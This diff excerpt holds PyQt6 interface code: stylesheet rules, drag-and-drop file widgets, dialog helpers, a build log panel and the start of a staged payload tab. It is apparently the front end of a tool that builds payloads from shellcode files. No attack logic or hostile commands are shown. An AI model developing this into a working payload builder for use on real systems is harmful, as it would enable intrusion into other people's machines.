}}
|
||||
|
||||
QScrollBar::handle:vertical {{
|
||||
background-color: {BORDER};
|
||||
border-radius: 4px;
|
||||
min-height: 30px;
|
||||
}}
|
||||
|
||||
QScrollBar::handle:vertical:hover {{
|
||||
background-color: {TEXT_MUTED};
|
||||
}}
|
||||
|
||||
QScrollBar::add-line:vertical, QScrollBar::sub-line:vertical {{
|
||||
height: 0px;
|
||||
}}
|
||||
|
||||
/* ── Splitter ────────────────────────────────────────────────────────────── */
|
||||
QSplitter::handle {{
|
||||
background-color: {BORDER_SUB};
|
||||
height: 5px;
|
||||
border-top: 1px dotted {BORDER};
|
||||
}}
|
||||
|
||||
QSplitter::handle:hover {{
|
||||
background-color: {ACCENT_DIM};
|
||||
}}
|
||||
|
||||
/* ── Labels ──────────────────────────────────────────────────────────────── */
|
||||
QLabel {{
|
||||
color: {TEXT};
|
||||
background: transparent;
|
||||
}}
|
||||
|
||||
QLabel:disabled {{
|
||||
color: {TEXT_MUTED};
|
||||
}}
|
||||
|
||||
QLabel#sectionLabel {{
|
||||
color: {TEXT_MUTED};
|
||||
font-size: 11px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.5px;
|
||||
}}
|
||||
|
||||
QLabel#headerTitle {{
|
||||
font-size: 18px;
|
||||
font-weight: 800;
|
||||
color: {ACCENT};
|
||||
letter-spacing: 1px;
|
||||
}}
|
||||
|
||||
QLabel#headerSubtitle {{
|
||||
font-size: 11px;
|
||||
color: {TEXT_DIM};
|
||||
letter-spacing: 0.3px;
|
||||
}}
|
||||
|
||||
QLabel#headerBadge {{
|
||||
font-size: 9px;
|
||||
font-weight: 700;
|
||||
color: {BG_BASE};
|
||||
background-color: {ACCENT};
|
||||
padding: 2px 7px;
|
||||
border-radius: 2px;
|
||||
letter-spacing: 1px;
|
||||
}}
|
||||
|
||||
/* ── Progress bar ────────────────────────────────────────────────────────── */
|
||||
QProgressBar {{
|
||||
background-color: {BG_SURFACE};
|
||||
border: none;
|
||||
border-radius: 0px;
|
||||
height: 3px;
|
||||
text-align: center;
|
||||
}}
|
||||
|
||||
QProgressBar::chunk {{
|
||||
background-color: {ACCENT};
|
||||
border-radius: 0px;
|
||||
}}
|
||||
|
||||
/* ── Status bar ──────────────────────────────────────────────────────────── */
|
||||
QStatusBar {{
|
||||
background-color: {BG_HEADER};
|
||||
color: {TEXT_MUTED};
|
||||
border-top: 1px solid {BORDER_SUB};
|
||||
font-size: 11px;
|
||||
font-family: "Cascadia Code", "Fira Code", "Consolas", monospace;
|
||||
}}
|
||||
|
||||
QStatusBar QLabel {{
|
||||
color: {TEXT_DIM};
|
||||
padding: 2px 8px;
|
||||
}}
|
||||
|
||||
/* ── Tooltip ─────────────────────────────────────────────────────────────── */
|
||||
QToolTip {{
|
||||
background-color: {BG_ELEVATED};
|
||||
color: {TEXT};
|
||||
border: 1px solid {BORDER};
|
||||
border-radius: 2px;
|
||||
padding: 5px 9px;
|
||||
font-size: 12px;
|
||||
}}
|
||||
|
||||
/* ── Horizontal scrollbar ────────────────────────────────────────────────── */
|
||||
QScrollBar:horizontal {{
|
||||
background-color: {BG_BASE};
|
||||
height: 8px;
|
||||
border: none;
|
||||
}}
|
||||
|
||||
QScrollBar::handle:horizontal {{
|
||||
background-color: {BORDER};
|
||||
border-radius: 4px;
|
||||
min-width: 30px;
|
||||
}}
|
||||
|
||||
QScrollBar::handle:horizontal:hover {{
|
||||
background-color: {TEXT_MUTED};
|
||||
}}
|
||||
|
||||
QScrollBar::add-line:horizontal, QScrollBar::sub-line:horizontal {{
|
||||
width: 0px;
|
||||
}}
|
||||
|
||||
/* ── Frame separators ────────────────────────────────────────────────────── */
|
||||
QFrame[frameShape="4"], QFrame[frameShape="HLine"] {{
|
||||
background-color: {BORDER_SUB};
|
||||
border: none;
|
||||
max-height: 1px;
|
||||
}}
|
||||
|
||||
/* ── Side nav (QListWidget#sideNav) ─────────────────────────────────────── */
|
||||
QListWidget#sideNav {{
|
||||
background-color: {BG_SURFACE};
|
||||
border: none;
|
||||
outline: none;
|
||||
padding: 8px 0px;
|
||||
font-size: 12px;
|
||||
}}
|
||||
|
||||
QListWidget#sideNav::item {{
|
||||
padding: 11px 0px 11px 18px;
|
||||
color: {TEXT_DIM};
|
||||
border-left: 3px solid transparent;
|
||||
font-weight: 600;
|
||||
letter-spacing: 0.3px;
|
||||
}}
|
||||
|
||||
QListWidget#sideNav::item:selected {{
|
||||
background-color: {BG_ELEVATED};
|
||||
color: {ACCENT};
|
||||
border-left: 3px solid {ACCENT};
|
||||
}}
|
||||
|
||||
QListWidget#sideNav::item:hover:!selected {{
|
||||
background-color: {BG_ELEVATED};
|
||||
color: {TEXT};
|
||||
border-left: 3px solid transparent;
|
||||
}}
|
||||
|
||||
QListWidget#sideNav::item:disabled {{
|
||||
color: {TEXT_MUTED};
|
||||
}}
|
||||
|
||||
/* ── Profiles bar + build footer ─────────────────────────────────────────── */
|
||||
QWidget#profilesBar {{
|
||||
background-color: {BG_SURFACE};
|
||||
border-bottom: 1px solid {BORDER};
|
||||
}}
|
||||
|
||||
QWidget#buildFooter {{
|
||||
background-color: {BG_SURFACE};
|
||||
border-top: 1px solid {BORDER};
|
||||
}}
|
||||
|
||||
/* ── Dialogs (QMessageBox, QInputDialog, QFileDialog) ────────────────────── */
|
||||
QDialog {{
|
||||
background-color: {BG_SURFACE};
|
||||
color: {TEXT};
|
||||
border: 1px solid {BORDER};
|
||||
min-width: 420px;
|
||||
}}
|
||||
|
||||
QMessageBox {{
|
||||
background-color: {BG_SURFACE};
|
||||
color: {TEXT};
|
||||
min-width: 420px;
|
||||
}}
|
||||
|
||||
QMessageBox QLabel {{
|
||||
color: {TEXT};
|
||||
font-size: 13px;
|
||||
padding: 4px 0px;
|
||||
min-width: 300px;
|
||||
background: transparent;
|
||||
}}
|
||||
|
||||
/* Icon area spacer */
|
||||
QMessageBox QDialogButtonBox {{
|
||||
padding-top: 8px;
|
||||
}}
|
||||
|
||||
QInputDialog {{
|
||||
background-color: {BG_SURFACE};
|
||||
color: {TEXT};
|
||||
min-width: 380px;
|
||||
}}
|
||||
|
||||
QInputDialog QLabel {{
|
||||
color: {TEXT};
|
||||
font-size: 13px;
|
||||
background: transparent;
|
||||
}}
|
||||
|
||||
QInputDialog QLineEdit {{
|
||||
min-width: 300px;
|
||||
}}
|
||||
|
||||
QFileDialog {{
|
||||
background-color: {BG_SURFACE};
|
||||
color: {TEXT};
|
||||
}}
|
||||
|
||||
QFileDialog QLabel {{
|
||||
color: {TEXT};
|
||||
background: transparent;
|
||||
}}
|
||||
|
||||
/* Buttons inside dialogs */
|
||||
QDialogButtonBox QPushButton {{
|
||||
min-width: 80px;
|
||||
padding: 6px 18px;
|
||||
}}
|
||||
"""
|
||||
@@ -0,0 +1,390 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Shared GUI widget helpers."""
|
||||
import os
|
||||
|
||||
from PyQt6.QtWidgets import (
|
||||
QHBoxLayout, QVBoxLayout, QLineEdit, QPushButton, QFileDialog,
|
||||
QWidget, QLabel, QSizePolicy,
|
||||
QMessageBox, QInputDialog, QSpacerItem,
|
||||
)
|
||||
from PyQt6.QtCore import Qt, QMimeData, pyqtSignal
|
||||
from PyQt6.QtGui import QPainter, QPen, QColor, QFont
|
||||
|
||||
from gui.theme import (
|
||||
BG_BASE, BG_SURFACE, BG_ELEVATED, BORDER, BORDER_SUB,
|
||||
ACCENT, ACCENT_DIM, ACCENT_BRIGHT,
|
||||
TEXT, TEXT_DIM, TEXT_MUTED,
|
||||
GREEN, RED,
|
||||
# Nord compat aliases
|
||||
NORD0, NORD1, NORD2, NORD3, NORD4,
|
||||
FROST1, FROST2, FROST3,
|
||||
)
|
||||
|
||||
|
||||
class DropLineEdit(QLineEdit):
|
||||
"""QLineEdit that accepts drag-and-drop files."""
|
||||
|
||||
def __init__(self, file_filter_exts=None, parent=None):
|
||||
super().__init__(parent)
|
||||
self.setAcceptDrops(True)
|
||||
# e.g. ['.bin', '.pfx'] — if None, accept any file
|
||||
self._filter_exts = file_filter_exts
|
||||
|
||||
def dragEnterEvent(self, event):
|
||||
if event.mimeData().hasUrls():
|
||||
urls = event.mimeData().urls()
|
||||
if urls and urls[0].isLocalFile():
|
||||
path = urls[0].toLocalFile()
|
||||
if self._filter_exts is None or any(path.lower().endswith(e) for e in self._filter_exts):
|
||||
event.acceptProposedAction()
|
||||
return
|
||||
event.ignore()
|
||||
|
||||
def dragMoveEvent(self, event):
|
||||
event.acceptProposedAction()
|
||||
|
||||
def dropEvent(self, event):
|
||||
urls = event.mimeData().urls()
|
||||
if urls and urls[0].isLocalFile():
|
||||
self.setText(urls[0].toLocalFile())
|
||||
event.acceptProposedAction()
|
||||
|
||||
|
||||
class DropZone(QWidget):
|
||||
"""A visual drag-and-drop zone for payload files.
|
||||
|
||||
Shows a dashed-border area with a hint label. Highlights on drag-over.
|
||||
Displays the filename once a file is selected. Includes a Browse button.
|
||||
"""
|
||||
|
||||
path_changed = pyqtSignal(str)
|
||||
|
||||
def __init__(self, file_filter: str = "All Files (*)",
|
||||
filter_exts=None,
|
||||
hint_text: str = "Drag & drop shellcode (.bin) here",
|
||||
browse_title: str = "Select file",
|
||||
parent=None):
|
||||
super().__init__(parent)
|
||||
self.setAcceptDrops(True)
|
||||
self._file_filter = file_filter
|
||||
self._filter_exts = filter_exts # e.g. ['.bin']
|
||||
self._hint_text = hint_text
|
||||
self._browse_title = browse_title
|
||||
self._path = ""
|
||||
self._dragging = False
|
||||
|
||||
self.setMinimumHeight(110)
|
||||
self.setSizePolicy(QSizePolicy.Policy.Expanding,
|
||||
QSizePolicy.Policy.Fixed)
|
||||
self.setCursor(Qt.CursorShape.PointingHandCursor)
|
||||
|
||||
# Internal layout
|
||||
layout = QVBoxLayout(self)
|
||||
layout.setContentsMargins(16, 12, 16, 12)
|
||||
layout.setSpacing(4)
|
||||
layout.setAlignment(Qt.AlignmentFlag.AlignCenter)
|
||||
|
||||
# Upload arrow icon (hidden once a file is selected)
|
||||
self._icon_label = QLabel("⬆")
|
||||
self._icon_label.setAlignment(Qt.AlignmentFlag.AlignCenter)
|
||||
self._icon_label.setStyleSheet(
|
||||
f"color: {ACCENT}; font-size: 18px; background: transparent; border: none;")
|
||||
layout.addWidget(self._icon_label)
|
||||
|
||||
# Primary hint text
|
||||
self._hint_label = QLabel(hint_text)
|
||||
self._hint_label.setAlignment(Qt.AlignmentFlag.AlignCenter)
|
||||
self._hint_label.setStyleSheet(
|
||||
f"color: {TEXT_DIM}; font-size: 13px; background: transparent; border: none;")
|
||||
layout.addWidget(self._hint_label)
|
||||
|
||||
# "or browse" sub-hint
|
||||
self._sub_label = QLabel("or click to browse")
|
||||
self._sub_label.setAlignment(Qt.AlignmentFlag.AlignCenter)
|
||||
self._sub_label.setStyleSheet(
|
||||
f"color: {ACCENT}; font-size: 11px; background: transparent; border: none;")
|
||||
layout.addWidget(self._sub_label)
|
||||
|
||||
# Clear button — only visible when a file is loaded
|
||||
self._clear_btn = QPushButton("× clear")
|
||||
self._clear_btn.setObjectName("deleteButton")
|
||||
self._clear_btn.setCursor(Qt.CursorShape.PointingHandCursor)
|
||||
self._clear_btn.setFixedWidth(70)
|
||||
self._clear_btn.setStyleSheet(
|
||||
self._clear_btn.styleSheet() +
|
||||
"QPushButton#deleteButton { font-size: 10px; padding: 2px 8px; }")
|
||||
self._clear_btn.setVisible(False)
|
||||
self._clear_btn.clicked.connect(self._clear_file)
|
||||
layout.addWidget(self._clear_btn, alignment=Qt.AlignmentFlag.AlignCenter)
|
||||
|
||||
# File path display (hidden until file selected)
|
||||
self._file_label = QLabel("")
|
||||
self._file_label.setAlignment(Qt.AlignmentFlag.AlignCenter)
|
||||
self._file_label.setWordWrap(True)
|
||||
self._file_label.setStyleSheet(
|
||||
f"color: {GREEN}; font-size: 12px; font-weight: bold; "
|
||||
f"background: transparent; border: none;")
|
||||
self._file_label.setVisible(False)
|
||||
layout.addWidget(self._file_label)
|
||||
|
||||
def text(self) -> str:
|
||||
"""Return the current file path (API compat with QLineEdit)."""
|
||||
return self._path
|
||||
|
||||
def setText(self, path: str):
|
||||
"""Set the file path programmatically."""
|
||||
self._path = path
|
||||
self._update_display()
|
||||
self.path_changed.emit(path)
|
||||
|
||||
@property
|
||||
def textChanged(self):
|
||||
"""Signal compat — returns path_changed so callers can connect."""
|
||||
return self.path_changed
|
||||
|
||||
def setProperty(self, name, value):
|
||||
super().setProperty(name, value)
|
||||
if name == "validationError":
|
||||
self.update()
|
||||
|
||||
def _clear_file(self):
|
||||
"""Remove the currently selected file."""
|
||||
self._path = ""
|
||||
self._update_display()
|
||||
self.path_changed.emit("")
|
||||
|
||||
def _update_display(self):
|
||||
if self._path:
|
||||
filename = os.path.basename(self._path)
|
||||
# Elide long paths so they don't break the layout
|
||||
max_path_chars = 60
|
||||
display_path = (self._path if len(self._path) <= max_path_chars
|
||||
else f"…{self._path[-(max_path_chars - 1):]}")
|
||||
self._icon_label.setVisible(False)
|
||||
self._hint_label.setText(filename)
|
||||
self._hint_label.setStyleSheet(
|
||||
f"color: {ACCENT}; font-size: 13px; font-weight: bold; "
|
||||
f"background: transparent; border: none;")
|
||||
self._sub_label.setText(display_path)
|
||||
self._sub_label.setStyleSheet(
|
||||
f"color: {TEXT_DIM}; font-size: 10px; "
|
||||
f"background: transparent; border: none;")
|
||||
self._clear_btn.setVisible(True)
|
||||
self._file_label.setVisible(False)
|
||||
else:
|
||||
self._icon_label.setVisible(True)
|
||||
self._hint_label.setText(self._hint_text)
|
||||
self._hint_label.setStyleSheet(
|
||||
f"color: {TEXT_DIM}; font-size: 13px; "
|
||||
f"background: transparent; border: none;")
|
||||
self._sub_label.setText("or click to browse")
|
||||
self._sub_label.setStyleSheet(
|
||||
f"color: {ACCENT}; font-size: 11px; "
|
||||
f"background: transparent; border: none;")
|
||||
self._clear_btn.setVisible(False)
|
||||
self._file_label.setVisible(False)
|
||||
self.update()
|
||||
|
||||
# -- Paint the dashed border --
|
||||
|
||||
def paintEvent(self, event):
|
||||
painter = QPainter(self)
|
||||
painter.setRenderHint(QPainter.RenderHint.Antialiasing)
|
||||
|
||||
validation_error = self.property("validationError")
|
||||
|
||||
if self._dragging:
|
||||
border_color = QColor(ACCENT)
|
||||
bg_color = QColor(ACCENT)
|
||||
bg_color.setAlpha(18)
|
||||
elif validation_error:
|
||||
border_color = QColor(RED)
|
||||
bg_color = QColor(RED)
|
||||
bg_color.setAlpha(18)
|
||||
elif self._path:
|
||||
border_color = QColor(GREEN)
|
||||
bg_color = QColor(GREEN)
|
||||
bg_color.setAlpha(12)
|
||||
else:
|
||||
border_color = QColor(BORDER)
|
||||
bg_color = QColor(BG_SURFACE)
|
||||
|
||||
# Background fill
|
||||
painter.setBrush(bg_color)
|
||||
painter.setPen(Qt.PenStyle.NoPen)
|
||||
painter.drawRoundedRect(self.rect().adjusted(1, 1, -1, -1), 2, 2)
|
||||
|
||||
# Dashed border — tighter dash pattern for a crisper look
|
||||
pen = QPen(border_color, 1, Qt.PenStyle.CustomDashLine)
|
||||
pen.setDashPattern([5, 3])
|
||||
painter.setPen(pen)
|
||||
painter.setBrush(Qt.BrushStyle.NoBrush)
|
||||
painter.drawRoundedRect(self.rect().adjusted(1, 1, -1, -1), 2, 2)
|
||||
|
||||
# If dragging: draw a solid 2px outer accent ring on top
|
||||
if self._dragging:
|
||||
solid_pen = QPen(QColor(ACCENT), 2, Qt.PenStyle.SolidLine)
|
||||
painter.setPen(solid_pen)
|
||||
painter.drawRoundedRect(self.rect().adjusted(1, 1, -1, -1), 2, 2)
|
||||
|
||||
painter.end()
|
||||
|
||||
# -- Mouse click = browse --
|
||||
|
||||
def mousePressEvent(self, event):
|
||||
if event.button() == Qt.MouseButton.LeftButton:
|
||||
path, _ = QFileDialog.getOpenFileName(
|
||||
self, self._browse_title, "",
|
||||
self._file_filter)
|
||||
if path:
|
||||
self.setText(path)
|
||||
|
||||
# -- Drag & drop --
|
||||
|
||||
def _is_valid_file(self, path: str) -> bool:
|
||||
if self._filter_exts is None:
|
||||
return True
|
||||
return any(path.lower().endswith(e) for e in self._filter_exts)
|
||||
|
||||
def dragEnterEvent(self, event):
|
||||
if event.mimeData().hasUrls():
|
||||
urls = event.mimeData().urls()
|
||||
if urls and urls[0].isLocalFile():
|
||||
if self._is_valid_file(urls[0].toLocalFile()):
|
||||
self._dragging = True
|
||||
self.update()
|
||||
event.acceptProposedAction()
|
||||
return
|
||||
event.ignore()
|
||||
|
||||
def dragMoveEvent(self, event):
|
||||
event.acceptProposedAction()
|
||||
|
||||
def dragLeaveEvent(self, event):
|
||||
self._dragging = False
|
||||
self.update()
|
||||
|
||||
def dropEvent(self, event):
|
||||
self._dragging = False
|
||||
urls = event.mimeData().urls()
|
||||
if urls and urls[0].isLocalFile():
|
||||
path = urls[0].toLocalFile()
|
||||
if self._is_valid_file(path):
|
||||
self.setText(path)
|
||||
event.acceptProposedAction()
|
||||
return
|
||||
self.update()
|
||||
event.ignore()
|
||||
|
||||
|
||||
def file_picker_row(parent: QWidget, label: str = "Browse...",
|
||||
file_filter: str = "All Files (*)",
|
||||
save_mode: bool = False) -> tuple:
|
||||
"""
|
||||
Create a file picker row: DropLineEdit + Browse button.
|
||||
Returns (layout, line_edit) so the caller can read the path.
|
||||
"""
|
||||
layout = QHBoxLayout()
|
||||
layout.setContentsMargins(0, 0, 0, 0)
|
||||
|
||||
# Extract extensions from file_filter for drag-drop validation
|
||||
# e.g. "Binary Files (*.bin);;All Files (*)" -> ['.bin']
|
||||
filter_exts = None
|
||||
if file_filter and "*." in file_filter:
|
||||
import re
|
||||
exts = re.findall(r'\*\.(\w+)', file_filter)
|
||||
if exts:
|
||||
filter_exts = [f'.{e.lower()}' for e in exts]
|
||||
|
||||
line_edit = DropLineEdit(file_filter_exts=filter_exts, parent=parent)
|
||||
line_edit.setPlaceholderText(label)
|
||||
|
||||
browse_btn = QPushButton("Browse")
|
||||
browse_btn.setObjectName("browseButton")
|
||||
browse_btn.setFixedWidth(80)
|
||||
|
||||
def on_browse():
|
||||
if save_mode:
|
||||
path, _ = QFileDialog.getSaveFileName(parent, label, "", file_filter)
|
||||
else:
|
||||
path, _ = QFileDialog.getOpenFileName(parent, label, "", file_filter)
|
||||
if path:
|
||||
line_edit.setText(path)
|
||||
|
||||
browse_btn.clicked.connect(on_browse)
|
||||
|
||||
layout.addWidget(line_edit, stretch=1)
|
||||
layout.addWidget(browse_btn)
|
||||
|
||||
return layout, line_edit
|
||||
|
||||
|
||||
# ── Dialog helpers ──────────────────────────────────────────────────────────────
|
||||
# Qt does not reliably honour stylesheet min-width on QMessageBox.
|
||||
# The only reliable fix is to inject a spacer into the grid layout.
|
||||
_DLG_MIN_W = 500
|
||||
|
||||
|
||||
def _widen(msg):
|
||||
"""Inject a horizontal spacer to enforce a minimum dialog width."""
|
||||
spacer = QSpacerItem(_DLG_MIN_W, 0,
|
||||
QSizePolicy.Policy.Minimum,
|
||||
QSizePolicy.Policy.Expanding)
|
||||
layout = msg.layout()
|
||||
layout.addItem(spacer, layout.rowCount(), 0, 1, layout.columnCount())
|
||||
|
||||
|
||||
def dlg_warn(parent, title: str, text: str):
|
||||
"""Warning dialog with guaranteed minimum width."""
|
||||
msg = QMessageBox(parent)
|
||||
msg.setWindowTitle(title)
|
||||
msg.setText(text)
|
||||
msg.setIcon(QMessageBox.Icon.Warning)
|
||||
_widen(msg)
|
||||
msg.exec()
|
||||
|
||||
|
||||
def dlg_error(parent, title: str, text: str):
|
||||
"""Error dialog with guaranteed minimum width."""
|
||||
msg = QMessageBox(parent)
|
||||
msg.setWindowTitle(title)
|
||||
msg.setText(text)
|
||||
msg.setIcon(QMessageBox.Icon.Critical)
|
||||
_widen(msg)
|
||||
msg.exec()
|
||||
|
||||
|
||||
def dlg_info(parent, title: str, text: str):
|
||||
"""Information dialog with guaranteed minimum width."""
|
||||
msg = QMessageBox(parent)
|
||||
msg.setWindowTitle(title)
|
||||
msg.setText(text)
|
||||
msg.setIcon(QMessageBox.Icon.Information)
|
||||
_widen(msg)
|
||||
msg.exec()
|
||||
|
||||
|
||||
def dlg_ask(parent, title: str, text: str, default_yes: bool = False) -> bool:
|
||||
"""Yes/No question dialog. Returns True if user clicked Yes."""
|
||||
msg = QMessageBox(parent)
|
||||
msg.setWindowTitle(title)
|
||||
msg.setText(text)
|
||||
msg.setIcon(QMessageBox.Icon.Question)
|
||||
msg.setStandardButtons(
|
||||
QMessageBox.StandardButton.Yes | QMessageBox.StandardButton.No)
|
||||
msg.setDefaultButton(
|
||||
QMessageBox.StandardButton.Yes if default_yes
|
||||
else QMessageBox.StandardButton.No)
|
||||
_widen(msg)
|
||||
return msg.exec() == QMessageBox.StandardButton.Yes
|
||||
|
||||
|
||||
def dlg_text(parent, title: str, label: str, default: str = "") -> tuple:
|
||||
"""Text-input dialog. Returns (text, ok) like QInputDialog.getText."""
|
||||
dlg = QInputDialog(parent)
|
||||
dlg.setWindowTitle(title)
|
||||
dlg.setLabelText(label)
|
||||
dlg.setTextValue(default)
|
||||
dlg.setMinimumWidth(420)
|
||||
ok = dlg.exec() == QInputDialog.DialogCode.Accepted
|
||||
return dlg.textValue(), ok
|
||||
@@ -0,0 +1,193 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Color-coded build log panel with timestamps and export."""
|
||||
import os
|
||||
from datetime import datetime
|
||||
|
||||
from PyQt6.QtWidgets import (
|
||||
QWidget, QVBoxLayout, QTextEdit, QPushButton, QHBoxLayout,
|
||||
QProgressBar, QFileDialog, QLabel, QFrame
|
||||
)
|
||||
from PyQt6.QtGui import QTextCursor, QPixmap, QPainter
|
||||
from PyQt6.QtCore import Qt, pyqtSignal
|
||||
|
||||
from gui.theme import GREEN, RED, YELLOW, BLUE, TEXT, CRUST, NORD3, FROST1, TEXT_MUTED, BORDER_SUB, ACCENT_DIM
|
||||
|
||||
# Locate Logo.png: gui/assets/ (installed), then fallback to dev repo layout
|
||||
_HERE = os.path.dirname(os.path.abspath(__file__))
|
||||
_LOGO_CANDIDATES = [
|
||||
os.path.normpath(os.path.join(_HERE, "..", "assets", "Logo.png")), # installed: gui/assets/
|
||||
os.path.normpath(os.path.join(_HERE, "..", "..", "assets", "Logo.png")), # Linux/assets/
|
||||
os.path.normpath(os.path.join(_HERE, "..", "..", "..", "assets", "Logo.png")), # repo root (dev)
|
||||
]
|
||||
_LOGO_PATH = next((p for p in _LOGO_CANDIDATES if os.path.isfile(p)), _LOGO_CANDIDATES[0])
|
||||
|
||||
|
||||
class _WatermarkTextEdit(QTextEdit):
|
||||
"""QTextEdit that paints Logo.png as a centred, low-opacity watermark."""
|
||||
|
||||
def __init__(self, parent=None):
|
||||
super().__init__(parent)
|
||||
self._watermark: QPixmap | None = None
|
||||
if os.path.isfile(_LOGO_PATH):
|
||||
pix = QPixmap(_LOGO_PATH)
|
||||
if not pix.isNull():
|
||||
# Pre-scale once to a fixed display size
|
||||
self._watermark = pix.scaled(
|
||||
180, 180,
|
||||
Qt.AspectRatioMode.KeepAspectRatio,
|
||||
Qt.TransformationMode.SmoothTransformation,
|
||||
)
|
||||
|
||||
def paintEvent(self, event):
|
||||
"""Draw watermark behind the text."""
|
||||
if self._watermark:
|
||||
painter = QPainter(self.viewport())
|
||||
painter.setOpacity(0.07)
|
||||
vp = self.viewport().rect()
|
||||
x = (vp.width() - self._watermark.width()) // 2
|
||||
y = (vp.height() - self._watermark.height()) // 2
|
||||
painter.drawPixmap(x, y, self._watermark)
|
||||
painter.end()
|
||||
super().paintEvent(event)
|
||||
|
||||
|
||||
|
||||
|
||||
# Level -> color mapping
|
||||
LEVEL_COLORS = {
|
||||
"info": BLUE,
|
||||
"success": GREEN,
|
||||
"warning": YELLOW,
|
||||
"error": RED,
|
||||
}
|
||||
|
||||
|
||||
class LogPanel(QWidget):
|
||||
"""Read-only, monospace log panel with color-coded, timestamped output."""
|
||||
|
||||
open_folder_requested = pyqtSignal(str) # emits folder path
|
||||
|
||||
def __init__(self, parent=None):
|
||||
super().__init__(parent)
|
||||
self._raw_lines = [] # plain text for export
|
||||
|
||||
layout = QVBoxLayout(self)
|
||||
layout.setContentsMargins(0, 0, 0, 0)
|
||||
layout.setSpacing(0)
|
||||
|
||||
# Section header
|
||||
panel_header = QWidget()
|
||||
panel_header.setStyleSheet(
|
||||
f"background-color: transparent;"
|
||||
f"border-bottom: 1px solid {BORDER_SUB};"
|
||||
)
|
||||
ph_layout = QHBoxLayout(panel_header)
|
||||
ph_layout.setContentsMargins(10, 4, 10, 4)
|
||||
ph_label = QLabel("BUILD OUTPUT")
|
||||
ph_label.setObjectName("sectionLabel")
|
||||
ph_layout.addWidget(ph_label)
|
||||
ph_layout.addStretch()
|
||||
layout.addWidget(panel_header)
|
||||
|
||||
# Progress bar (indeterminate, hidden by default)
|
||||
self._progress = QProgressBar()
|
||||
self._progress.setRange(0, 0) # indeterminate
|
||||
self._progress.setFixedHeight(6)
|
||||
self._progress.setTextVisible(False)
|
||||
self._progress.hide()
|
||||
layout.addWidget(self._progress)
|
||||
|
||||
# Toolbar
|
||||
toolbar = QHBoxLayout()
|
||||
toolbar.setContentsMargins(4, 4, 4, 2)
|
||||
|
||||
self._open_folder_btn = QPushButton("Open Output Folder")
|
||||
self._open_folder_btn.setFixedWidth(160)
|
||||
self._open_folder_btn.hide()
|
||||
self._open_folder_btn.clicked.connect(self._on_open_folder)
|
||||
toolbar.addWidget(self._open_folder_btn)
|
||||
|
||||
toolbar.addStretch()
|
||||
|
||||
save_btn = QPushButton("Save Log")
|
||||
save_btn.setFixedWidth(90)
|
||||
save_btn.clicked.connect(self._save_log)
|
||||
toolbar.addWidget(save_btn)
|
||||
|
||||
clear_btn = QPushButton("Clear Log")
|
||||
clear_btn.setFixedWidth(90)
|
||||
clear_btn.clicked.connect(self.clear)
|
||||
toolbar.addWidget(clear_btn)
|
||||
|
||||
layout.addLayout(toolbar)
|
||||
|
||||
# Text area
|
||||
self._text = _WatermarkTextEdit()
|
||||
self._text.setReadOnly(True)
|
||||
self._text.setStyleSheet(f"""
|
||||
QTextEdit {{
|
||||
background-color: {CRUST};
|
||||
color: {TEXT};
|
||||
font-family: "Cascadia Code", "Fira Code", "Consolas", monospace;
|
||||
font-size: 12px;
|
||||
border: none;
|
||||
padding: 8px;
|
||||
}}
|
||||
""")
|
||||
layout.addWidget(self._text)
|
||||
|
||||
self._output_folder = ""
|
||||
|
||||
def append_log(self, message: str, level: str = "info"):
|
||||
"""Append a color-coded, timestamped log line and auto-scroll."""
|
||||
color = LEVEL_COLORS.get(level, TEXT)
|
||||
ts = datetime.now().strftime("%H:%M:%S")
|
||||
ts_html = f'<span style="color:{NORD3};">[{ts}]</span>'
|
||||
msg_html = f'<span style="color:{color};"> {self._escape(message)}</span>'
|
||||
self._text.append(f'{ts_html}{msg_html}')
|
||||
self._text.moveCursor(QTextCursor.MoveOperation.End)
|
||||
self._raw_lines.append(f"[{ts}] {message}")
|
||||
|
||||
def clear(self):
|
||||
self._text.clear()
|
||||
self._raw_lines.clear()
|
||||
self._open_folder_btn.hide()
|
||||
self._output_folder = ""
|
||||
|
||||
def set_building(self, building: bool):
|
||||
"""Show/hide the indeterminate progress bar."""
|
||||
self._progress.setVisible(building)
|
||||
|
||||
def show_open_folder(self, folder: str):
|
||||
"""Show the 'Open Output Folder' button after a successful build."""
|
||||
self._output_folder = folder
|
||||
self._open_folder_btn.show()
|
||||
|
||||
def _on_open_folder(self):
|
||||
if self._output_folder and os.path.isdir(self._output_folder):
|
||||
import subprocess
|
||||
import sys
|
||||
if sys.platform == "linux":
|
||||
subprocess.Popen(["xdg-open", self._output_folder])
|
||||
elif sys.platform == "darwin":
|
||||
subprocess.Popen(["open", self._output_folder])
|
||||
else:
|
||||
os.startfile(self._output_folder)
|
||||
|
||||
def _save_log(self):
|
||||
if not self._raw_lines:
|
||||
return
|
||||
path, _ = QFileDialog.getSaveFileName(
|
||||
self, "Save Build Log", "build_log.txt", "Text Files (*.txt);;All Files (*)")
|
||||
if path:
|
||||
with open(path, "w") as f:
|
||||
f.write("\n".join(self._raw_lines))
|
||||
|
||||
@staticmethod
|
||||
def _escape(text: str) -> str:
|
||||
return (text
|
||||
.replace("&", "&")
|
||||
.replace("<", "<")
|
||||
.replace(">", ">")
|
||||
.replace(" ", " ")
|
||||
.replace("\t", " "))
|
||||
@@ -0,0 +1,694 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Staged payload configuration tab."""
|
||||
import os
|
||||
import json
|
||||
|
||||
from PyQt6.QtWidgets import (
|
||||
QWidget, QVBoxLayout, QHBoxLayout, QFormLayout, QLabel,
|
||||
QLineEdit, QComboBox, QCheckBox, QPushButton, QSpinBox,
|
||||
QScrollArea, QFrame, QListWidget, QStackedWidget,
|
||||
QListWidgetItem, QFileDialog
|
||||
)
|
||||
from PyQt6.QtCore import pyqtSignal, Qt
|
||||
from PyQt6.QtGui import QKeySequence, QShortcut
|
||||
|
||||
from core.build_config import BuildConfig
|
||||
from gui.theme import TEXT_DIM
|
||||
from gui.widgets.common import file_picker_row, DropZone, dlg_ask, dlg_warn, dlg_error, dlg_info, dlg_text
|
||||
from gui.history import HistoryManager
|
||||
|
||||
# Required field marker
|
||||
REQ = " *"
|
||||
|
||||
|
||||
class StagedTab(QWidget):
|
||||
"""Form for staged payload configuration."""
|
||||
|
||||
build_requested = pyqtSignal(object) # emits BuildConfig
|
||||
profile_imported = pyqtSignal() # emitted after a .ctfp import
|
||||
|
||||
def __init__(self, history_manager: HistoryManager, parent=None):
|
||||
super().__init__(parent)
|
||||
self._history = history_manager
|
||||
